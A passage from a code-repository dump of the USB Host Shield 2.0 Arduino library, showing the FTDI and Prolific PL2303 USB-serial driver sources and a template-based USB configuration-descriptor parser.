0x80);\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcftdi.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__CDCFTDI_H__)\n#define __CDCFTDI_H__\n\n#include \"Usb.h\"\n\n#define bmREQ_FTDI_OUT  0x40\n#define bmREQ_FTDI_IN   0xc0\n\n//#define bmREQ_FTDI_OUT                USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n//#define bmREQ_FTDI_IN         USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n\n#define FTDI_VID                        0x0403  // FTDI VID\n#define FTDI_PID                        0x6001  // FTDI PID\n\n#define FT232AM                         0x0200\n#define FT232BM                         0x0400\n#define FT2232                          0x0500\n#define FT232R                          0x0600\n\n// Commands\n#define FTDI_SIO_RESET                  0 /* Reset the port */\n#define FTDI_SIO_MODEM_CTRL             1 /* Set the modem control register */\n#define FTDI_SIO_SET_FLOW_CTRL          2 /* Set flow control register */\n#define FTDI_SIO_SET_BAUD_RATE          3 /* Set baud rate */\n#define FTDI_SIO_SET_DATA               4 /* Set the data characteristics of the port */\n#define FTDI_SIO_GET_MODEM_STATUS       5 /* Retrieve current value of modem status register */\n#define FTDI_SIO_SET_EVENT_CHAR         6 /* Set the event character */\n#define FTDI_SIO_SET_ERROR_CHAR         7 /* Set the error character */\n\n#define FTDI_SIO_RESET_SIO              0\n#define FTDI_SIO_RESET_PURGE_RX         1\n#define FTDI_SIO_RESET_PURGE_TX         2\n\n#define FTDI_SIO_SET_DATA_PARITY_NONE   (0x0 << 8 )\n#define FTDI_SIO_SET_DATA_PARITY_ODD    (0x1 << 8 )\n#define FTDI_SIO_SET_DATA_PARITY_EVEN   (0x2 << 8 )\n#define FTDI_SIO_SET_DATA_PARITY_MARK   (0x3 << 8 )\n#define FTDI_SIO_SET_DATA_PARITY_SPACE  (0x4 << 8 )\n#define FTDI_SIO_SET_DATA_STOP_BITS_1   (0x0 << 11)\n#define FTDI_SIO_SET_DATA_STOP_BITS_15  (0x1 << 11)\n#define FTDI_SIO_SET_DATA_STOP_BITS_2   (0x2 << 11)\n#define FTDI_SIO_SET_BREAK              (0x1 << 14)\n\n#define FTDI_SIO_SET_DTR_MASK           0x1\n#define FTDI_SIO_SET_DTR_HIGH           ( 1 | ( FTDI_SIO_SET_DTR_MASK  << 8))\n#define FTDI_SIO_SET_DTR_LOW            ( 0 | ( FTDI_SIO_SET_DTR_MASK  << 8))\n#define FTDI_SIO_SET_RTS_MASK           0x2\n#define FTDI_SIO_SET_RTS_HIGH           ( 2 | ( FTDI_SIO_SET_RTS_MASK << 8 ))\n#define FTDI_SIO_SET_RTS_LOW            ( 0 | ( FTDI_SIO_SET_RTS_MASK << 8 ))\n\n#define FTDI_SIO_DISABLE_FLOW_CTRL      0x0\n#define FTDI_SIO_RTS_CTS_HS             (0x1 << 8)\n#define FTDI_SIO_DTR_DSR_HS             (0x2 << 8)\n#define FTDI_SIO_XON_XOFF_HS            (0x4 << 8)\n\n#define FTDI_SIO_CTS_MASK               0x10\n#define FTDI_SIO_DSR_MASK               0x20\n#define FTDI_SIO_RI_MASK                0x40\n#define FTDI_SIO_RLSD_MASK              0x80\n\nclass FTDI;\n\nclass FTDIAsyncOper {\npublic:\n\n        virtual uint8_t OnInit(FTDI *pftdi __attribute__((unused))) {\n                return 0;\n        };\n\n        virtual uint8_t OnRelease(FTDI *pftdi __attribute__((unused))) {\n                return 0;\n        };\n};\n\n\n// Only single port chips are currently supported by the library,\n//              so only three endpoints are allocated.\n#define FTDI_MAX_ENDPOINTS              3\n\nclass FTDI : public USBDeviceConfig, public UsbConfigXtracter {\n        static const uint8_t epDataInIndex; // DataIn endpoint index\n        static const uint8_t epDataOutIndex; // DataOUT endpoint index\n        static const uint8_t epInterruptInIndex; // InterruptIN  endpoint index\n\n        FTDIAsyncOper *pAsync;\n        USB *pUsb;\n        uint8_t bAddress;\n        uint8_t bConfNum; // configuration number\n        uint8_t bNumIface; // number of interfaces in the configuration\n        uint8_t bNumEP; // total number of EP in the configuration\n        uint32_t qNextPollTime; // next poll time\n        volatile bool bPollEnable; // poll enable flag\n        volatile bool ready; //device ready indicator\n        uint16_t wFTDIType; // Type of FTDI chip\n        uint16_t wIdProduct; // expected PID\n\n        EpInfo epInfo[FTDI_MAX_ENDPOINTS];\n\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n\npublic:\n        FTDI(USB *pusb, FTDIAsyncOper *pasync, uint16_t idProduct = FTDI_PID);\n\n        uint8_t SetBaudRate(uint32_t baud);\n        uint8_t SetModemControl(uint16_t control);\n        uint8_t SetFlowControl(uint8_t protocol, uint8_t xon = 0x11, uint8_t xoff = 0x13);\n        uint8_t SetData(uint16_t databm);\n\n        // Methods for recieving and sending data\n        uint8_t RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr);\n        uint8_t SndData(uint16_t nbytes, uint8_t *dataptr);\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n        uint8_t Poll();\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        // UsbConfigXtracter implementation\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return (vid == FTDI_VID && pid == wIdProduct);\n        }\n        virtual bool isReady() {\n                return ready;\n        };\n\n};\n\n#endif // __CDCFTDI_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcprolific.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"cdcprolific.h\"\n\nPL2303::PL2303(USB *p, CDCAsyncOper *pasync) :\nACM(p, pasync),\nwPLType(0) {\n}\n\nuint8_t PL2303::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t num_of_conf; // number of configurations\n#ifdef PL2303_COMPAT\n        enum pl2303_type pltype = unknown;\n#endif\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"PL Init\\r\\n\");\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        if(udd->idVendor != PL_VID && CHECK_PID(udd->idProduct))\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        /* determine chip variant */\n#ifdef PL2303_COMPAT\n        if(udd->bDeviceClass == 0x02 )\n                pltype = type_0;\n        else if(udd->bMaxPacketSize0 == 0x40 )\n                pltype = rev_HX;\n        else if(udd->bDeviceClass == 0x00)\n                pltype = type_1;\n        else if(udd->bDeviceClass == 0xff)\n                pltype = type_1;\n#endif\n\n        // Save type of PL chip\n        wPLType = udd->bcdDevice;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                HexDumper<USBReadParser, uint16_t, uint16_t> HexDump;\n                ConfigDescParser < 0xFF, 0, 0, CP_MASK_COMPARE_CLASS> confDescrParser(this);\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        } // for\n\n        if(bNumEP < 2)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Conf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n#ifdef PL2303_COMPAT\n        /* Shamanic dance - sending Prolific init data as-is */\n        vendorRead( 0x84, 0x84, 0, buf );\n        vendorWrite( 0x04, 0x04, 0 );\n        vendorRead( 0x84, 0x84, 0, buf );\n        vendorRead( 0x83, 0x83, 0, buf );\n        vendorRead( 0x84, 0x84, 0, buf );\n        vendorWrite( 0x04, 0x04, 1 );\n        vendorRead( 0x84, 0x84, 0, buf);\n        vendorRead( 0x83, 0x83, 0, buf);\n        vendorWrite( 0, 0, 1 );\n        vendorWrite( 1, 0, 0 );\n        if( pltype == rev_HX ) {\n                vendorWrite( 2, 0, 0x44 );\n                vendorWrite( 0x06, 0x06, 0 ); // From W7 init\n        }\n        else {\n                vendorWrite( 2, 0, 0x24 );\n        }\n        /* Shamanic dance end */\n#endif\n        /* Calling post-init callback */\n        rcode = pAsync->OnInit(this);\n\n        if(rcode)\n                goto FailOnInit;\n\n        USBTRACE(\"PL configured\\r\\n\");\n\n        //bPollEnable = true;\n        ready = true;\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\nFailOnInit:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"OnInit:\");\n#endif\n\n#ifdef DEBUG_USB_HOST\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n//uint8_t PL::Poll()\n//{\n//      uint8_t rcode = 0;\n//\n//      //if (!bPollEnable)\n//      //      return 0;\n//\n//      //if (qNextPollTime <= (uint32_t)millis())\n//      //{\n//      //      USB_HOST_SERIAL.println(bAddress, HEX);\n//\n//      //      qNextPollTime = (uint32_t)millis() + 100;\n//      //}\n//      return rcode;\n//}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcprolific.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__CDCPROLIFIC_H__)\n#define __CDCPROLIFIC_H__\n\n#include \"cdcacm.h\"\n\n//#define PL2303_COMPAT // Uncomment it if you have compatibility problems\n\n#define PL_VID                                  0x067B\n#define CHECK_PID(pid)                          ( pid != 0x2303 && pid != 0x0609 )\n\n//#define PL_PID                                0x0609\n\n#define PROLIFIC_REV_H                          0x0202\n#define PROLIFIC_REV_X                          0x0300\n#define PROLIFIC_REV_HX_CHIP_D                  0x0400\n#define PROLIFIC_REV_1                          0x0001\n\n#define kXOnChar                                '\\x11'\n#define kXOffChar                               '\\x13'\n\n#define SPECIAL_SHIFT                           (5)\n#define SPECIAL_MASK                            ((1<<SPECIAL_SHIFT) - 1)\n#define STATE_ALL                               ( PD_RS232_S_MASK | PD_S_MASK )\n#define FLOW_RX_AUTO                            ( PD_RS232_A_RFR | PD_RS232_A_DTR | PD_RS232_A_RXO )\n#define FLOW_TX_AUTO                            ( PD_RS232_A_CTS | PD_RS232_A_DSR | PD_RS232_A_TXO | PD_RS232_A_DCD )\n#define CAN_BE_AUTO                             ( FLOW_RX_AUTO | FLOW_TX_AUTO )\n#define CAN_NOTIFY                              ( PD_RS232_N_MASK )\n#define EXTERNAL_MASK                           ( PD_S_MASK | (PD_RS232_S_MASK & ~PD_RS232_S_LOOP) )\n#define INTERNAL_DELAY                          ( PD_RS232_S_LOOP )\n#define DEFAULT_AUTO                            ( PD_RS232_A_DTR | PD_RS232_A_RFR | PD_RS232_A_CTS | PD_RS232_A_DSR )\n#define DEFAULT_NOTIFY                          0x00\n#define DEFAULT_STATE                           ( PD_S_TX_ENABLE | PD_S_RX_ENABLE | PD_RS232_A_TXO | PD_RS232_A_RXO )\n\n#define CONTINUE_SEND                           1\n#define PAUSE_SEND                              2\n\n#define kRxAutoFlow                             ((UInt32)( PD_RS232_A_RFR | PD_RS232_A_DTR | PD_RS232_A_RXO ))\n#define kTxAutoFlow                             ((UInt32)( PD_RS232_A_CTS | PD_RS232_A_DSR | PD_RS232_A_TXO | PD_RS232_A_DCD ))\n#define kControl_StateMask                      ((UInt32)( PD_RS232_S_CTS | PD_RS232_S_DSR | PD_RS232_S_CAR | PD_RS232_S_RI  ))\n#define kRxQueueState                           ((UInt32)( PD_S_RXQ_EMPTY | PD_S_RXQ_LOW_WATER | PD_S_RXQ_HIGH_WATER | PD_S_RXQ_FULL ))\n#define kTxQueueState                           ((UInt32)( PD_S_TXQ_EMPTY | PD_S_TXQ_LOW_WATER | PD_S_TXQ_HIGH_WATER | PD_S_TXQ_FULL ))\n\n#define kCONTROL_DTR                            0x01\n#define kCONTROL_RTS                            0x02\n\n#define kStateTransientMask                     0x74\n#define kBreakError                             0x04\n#define kFrameError                             0x10\n#define kParityError                            0x20\n#define kOverrunError                           0x40\n\n#define kCTS                                    0x80\n#define kDSR                                    0x02\n#define kRI                                     0x08\n#define kDCD                                    0x01\n#define kHandshakeInMask                        ((UInt32)( PD_RS232_S_CTS | PD_RS232_S_DSR | PD_RS232_S_CAR | PD_RS232_S_RI  ))\n\n#define VENDOR_WRITE_REQUEST_TYPE               0x40\n#define VENDOR_WRITE_REQUEST                    0x01\n\n#define VENDOR_READ_REQUEST_TYPE                0xc0\n#define VENDOR_READ_REQUEST                     0x01\n\n// Device Configuration Registers (DCR0, DCR1, DCR2)\n#define SET_DCR0                                0x00\n#define GET_DCR0                                0x80\n#define DCR0_INIT                               0x01\n#define DCR0_INIT_H                             0x41\n#define DCR0_INIT_X                             0x61\n\n#define SET_DCR1                                0x01\n#define GET_DCR1                                0x81\n#define DCR1_INIT_H                             0x80\n#define DCR1_INIT_X                             0x00\n\n#define SET_DCR2                                0x02\n#define GET_DCR2                                0x82\n#define DCR2_INIT_H                             0x24\n#define DCR2_INIT_X                             0x44\n\n// On-chip Data Buffers:\n#define RESET_DOWNSTREAM_DATA_PIPE              0x08\n#define RESET_UPSTREAM_DATA_PIPE                0x09\n\n\n#define PL_MAX_ENDPOINTS                        4\n\nenum tXO_State {\n        kXOnSent = -2,\n        kXOffSent = -1,\n        kXO_Idle = 0,\n        kXOffNeeded = 1,\n        kXOnNeeded = 2\n};\n\nenum pl2303_type {\n        unknown,\n        type_0, /* don't know the difference between type 0 and */\n        type_1, /* type 1, until someone from prolific tells us... */\n        rev_X,\n        rev_HX, /* HX version of the pl2303 chip */\n        rev_H\n};\n\n\nclass PL2303 : public ACM {\n        uint16_t wPLType; // Type of chip\n\npublic:\n        PL2303(USB *pusb, CDCAsyncOper *pasync);\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        //virtual uint8_t Release();\n        //virtual uint8_t Poll();\n        //virtual uint8_t GetAddress() { return bAddress; };\n\n        //// UsbConfigXtracter implementation\n        //virtual void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n\n#ifdef PL2303_COMPAT\nprivate:\n        /* Prolific proprietary requests */\n        uint8_t vendorRead( uint8_t val_lo, uint8_t val_hi, uint16_t index, uint8_t* buf );\n        uint8_t vendorWrite( uint8_t val_lo, uint8_t val_hi, uint8_t index );\n#endif\n};\n\n#ifdef PL2303_COMPAT\n/* vendor read request */\ninline uint8_t PL2303::vendorRead( uint8_t val_lo, uint8_t val_hi, uint16_t index, uint8_t* buf )\n{\n        return( pUsb->ctrlReq(bAddress, 0, VENDOR_READ_REQUEST_TYPE, VENDOR_READ_REQUEST, val_lo, val_hi, index, 1, 1, buf, NULL ));\n}\n\n/* vendor write request */\ninline uint8_t PL2303::vendorWrite( uint8_t val_lo, uint8_t val_hi, uint8_t index )\n{\n        return( pUsb->ctrlReq(bAddress, 0, VENDOR_WRITE_REQUEST_TYPE, VENDOR_WRITE_REQUEST, val_lo, val_hi, index, 0, 0, NULL, NULL ));\n}\n#endif\n\n#endif // __CDCPROLIFIC_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/confdescparser.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(_usb_h_) || defined(__CONFDESCPARSER_H__)\n#error \"Never include confdescparser.h directly; include Usb.h instead\"\n#else\n\n#define __CONFDESCPARSER_H__\n\nclass UsbConfigXtracter {\npublic:\n        //virtual void ConfigXtract(const USB_CONFIGURATION_DESCRIPTOR *conf) = 0;\n        //virtual void InterfaceXtract(uint8_t conf, const USB_INTERFACE_DESCRIPTOR *iface) = 0;\n\n        virtual void EndpointXtract(uint8_t conf __attribute__((unused)), uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *ep __attribute__((unused))) {\n        };\n};\n\n#define CP_MASK_COMPARE_CLASS                   1\n#define CP_MASK_COMPARE_SUBCLASS                2\n#define CP_MASK_COMPARE_PROTOCOL                4\n#define CP_MASK_COMPARE_ALL                     7\n\n// Configuration Descriptor Parser Class Template\n\ntemplate <const uint8_t CLASS_ID, const uint8_t SUBCLASS_ID, const uint8_t PROTOCOL_ID, const uint8_t MASK>\nclass ConfigDescParser : public USBReadParser {\n        UsbConfigXtracter *theXtractor;\n        MultiValueBuffer theBuffer;\n        MultiByteValueParser valParser;\n        ByteSkipper theSkipper;\n        uint8_t varBuffer[16 /*sizeof(USB_CONFIGURATION_DESCRIPTOR)*/];\n\n        uint8_t stateParseDescr; // ParseDescriptor state\n\n        uint8_t dscrLen; // Descriptor length\n        uint8_t dscrType; // Descriptor type\n\n        bool isGoodInterface; // Apropriate interface flag\n        uint8_t confValue; // Configuration value\n        uint8_t protoValue; // Protocol value\n        uint8_t ifaceNumber; // Interface number\n        uint8_t ifaceAltSet; // Interface alternate settings\n\n        bool UseOr;\n        bool ParseDescriptor(uint8_t **pp, uint16_t *pcntdn);\n        void PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc);\n\npublic:\n\n        void SetOR(void) {\n                UseOr = true;\n        }\n        ConfigDescParser(UsbConfigXtracter *xtractor);\n        void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset);\n};\n\ntemplate <const uint8_t CLASS_ID, const uint8_t SUBCLASS_ID, const uint8_t PROTOCOL_ID, const uint8_t MASK>\nConfigDescParser<CLASS_ID, SUBCLASS_ID, PROTOCOL_ID, MASK>::ConfigDescParser(UsbConfigXtracter *xtractor) :\ntheXtractor(xtractor),\nstateParseDescr(0),\ndscrLen(0),\ndscrType(0),\nUseOr(false) {\n        theBuffer.pValue = varBuffer;\n        valParser.Initialize(&theBuffer);\n        theSkipper.Initialize(&theBuffer);\n};\n\ntemplate <const uint8_t CLASS_ID, const uint8_t SUBCLASS_ID, const uint8_t PROTOCOL_ID, const uint8_t MASK>\nvoid ConfigDescParser<CLASS_ID, SUBCLASS_ID, PROTOCOL_ID, MASK>::Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset __attribute__((unused))) {\n        uint16_t cntdn = (uint16_t)len;\n        uint8_t *p = (uint8_t*)pbuf;\n\n        while(cntdn)\n                if(!ParseDescriptor(&p, &cntdn))\n                        return;\n}\n\n/* Parser for the configuration descriptor. Takes values for class, subclass, protocol fields in interface descriptor and\n  compare masks for them. When the match is found, calls EndpointXtract passing buffer containing endpoint descriptor */\ntemplate <const uint8_t CLASS_ID, const uint8_t SUBCLASS_ID, const uint8_t PROTOCOL_ID, const uint8_t MASK>\nbool ConfigDescParser<CLASS_ID, SUBCLASS_ID, PROTOCOL_ID, MASK>::ParseDescriptor(uint8_t **pp, uint16_t *pcntdn) {\n        USB_CONFIGURATION_DESCRIPTOR* ucd = reinterpret_cast<USB_CONFIGURATION_DESCRIPTOR*>(varBuffer);\n        USB_INTERFACE_DESCRIPTOR* uid = reinterpret_cast<USB_INTERFACE_DESCRIPTOR*>(varBuffer);\n        switch(stateParseDescr) {\n                case 0:\n                        theBuffer.valueSize = 2;\n                        valParser.Initialize(&theBuffer);\n                        stateParseDescr = 1;\n                case 1:\n                        if(!valParser.Parse(pp, pcntdn))\n                                return false;\n                        dscrLen = *((uint8_t*)theBuffer.pValue);\n                        dscrType = *((uint8_t*)theBuffer.pValue + 1);\n                        stateParseDescr = 2;\n                case 2:\n                        // This is a sort of hack. Assuming that two bytes are all ready in the buffer\n                        //      the pointer is positioned two bytes ahead in order for the rest of descriptor\n                        //      to be read right after the size and the type fields.\n                        // This should be used carefully. varBuffer should be used directly to handle data\n                        //      in the buffer.\n                        theBuffer.pValue = varBuffer + 2;\n                        stateParseDescr = 3;\n                case 3:\n                        switch(dscrType) {\n                                case USB_DESCRIPTOR_INTERFACE:\n                                        isGoodInterface = false;\n                                        break;\n                                case USB_DESCRIPTOR_CONFIGURATION:\n                                case USB_DESCRIPTOR_ENDPOINT:\n                                case HID_DESCRIPTOR_HID:\n                                        break;\n                        }\n                        theBuffer.valueSize = dscrLen - 2;\n                        valParser.Initialize(&theBuffer);\n                        stateParseDescr = 4;\n                case 4:\n                        switch(dscrType) {\n                                case USB_DESCRIPTOR_CONFIGURATION:\n                                        if(!valParser.Parse(pp, pcntdn))\n                                                return false;\n                                        confValue = ucd->bConfigurationValue;\n                                        break;\n                                case USB_DESCRIPTOR_INTERFACE:\n                                        if(!valParser.Parse(pp, pcntdn))\n                                                return false;\n                                        if((MASK & CP_MASK_COMPARE_CLASS) && uid->bInterfaceClass != CLASS_ID)\n                                                break;\n                                        if((MASK & CP_MASK_COMPARE_SUBCLASS) && uid->bInterfaceSubClass != SUBCLASS_ID)\n                                                break;\n                                        if(UseOr) {\n                                                if((!((MASK & CP_MASK_COMPARE_PROTOCOL) && uid->bInterfaceProtocol)))\n                                                        break;\n                                        } else {\n                                                if((MASK & CP_MASK_COMPARE_PROTOCOL) && uid->bInterfaceProtocol != PROTOCOL_ID)\n                                                        break;\n                                        }\n                                        isGoodInterface = true;\n                                        ifaceNumber = uid->bInterfaceNumber;\n                                        ifaceAltSet = uid->bAlternateSetting;\n                                        protoValue = uid->bInterfaceProtocol;\n                                        break;\n                                case USB_DESCRIPTOR_ENDPOINT:\n                                        if(!valParser.Parse(pp, pcntdn))\n                                                return false;\n                                        if(isGoodInterface)\n                                                if(theXtractor)\n                                                        theXtractor->EndpointXtract(confValue, ifaceNumber, ifaceAltSet, protoValue, (USB_ENDPOINT_DESCRIPTOR*)varBuffer);\n                                        break;\n                                        //case HID_DESCRIPTOR_HID:\n                                        //      if (!valParser.Parse(pp, pcntdn))\n                                        //              return false;\n                                        //      PrintHidDescriptor((const USB_HID_DESCRIPTOR*)varBuffer);\n                                        //      break;\n                                default:\n                                        if(!theSkipper.Skip(pp, pcntdn, dscrLen - 2))\n                                                return false;\n                        }\n                        theBuffer.pValue = varBuffer;\n                        stateParseDescr = 0;\n        }\n        return true;\n}\n\ntemplate <const uint8_t CLASS_ID, const uint8_t SUBCLASS_ID, const uint8_t PROTOCOL_ID, const uint8_t MASK>\nvoid ConfigDescParser<CLASS_ID, SUBCLASS_ID, PROTOCOL_ID, MASK>::PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc) {\n        Notify(PSTR(\"\\r\\n\\r\\nHID Descriptor:\\r\\n\"), 0x80);\n        Notify(PSTR(\"bDescLength:\\t\\t\"), 0x80);\n        PrintHex<uint8_t > (pDesc->bLength, 0x80);\n\n        Notify(PSTR(\"\\r\\nbDescriptorType:\\t\"), 0x80);\n        PrintHex<uint8_t > (pDesc->bDescriptorType, 0x80);\n\n        Notify(PSTR(\"\\r\\nbcdHID:\\t\\t\\t\"), 0x80);\n        PrintHex<uint16_t > (pDesc->bcdHID, 0x80);\n\n        Notify(PSTR(\"\\r\\nbCountryCode:\\t\\t\"), 0x80);\n        PrintHex<uint8_t > (pDesc->bCountryCode, 0x80);\n\n        Notify(PSTR(\"\\r\\nbNumDescriptors:\\t\"), 0x80);\n        PrintHex<uint8_t > (pDesc->bNumDescriptors, 0x80);\n\n        for(uint8_t i = 0; i < pDesc->bNumDescriptors; i++) {\n                HID_CLASS_DESCRIPTOR_LEN_AND_TYPE *pLT = (HID_CLASS_DESCRIPTOR_LEN_AND_TYPE*)&(pDesc->bDescrType);\n\n                Notify(PSTR(\"\\r\\nbDescrType:\\t\\t\"), 0x80);\n                PrintHex<uint8_t > (pLT[i].bDescrType, 0x80);\n\n                Notify(PSTR(\"\\r\\nwDescriptorLength:\\t\"), 0x80);\n                PrintHex<uint16_t > (pLT[i].wDescriptorLength, 0x80);\n        }\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n\n\n#endif // __CONFDESCPARSER_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/controllerEnums.h",
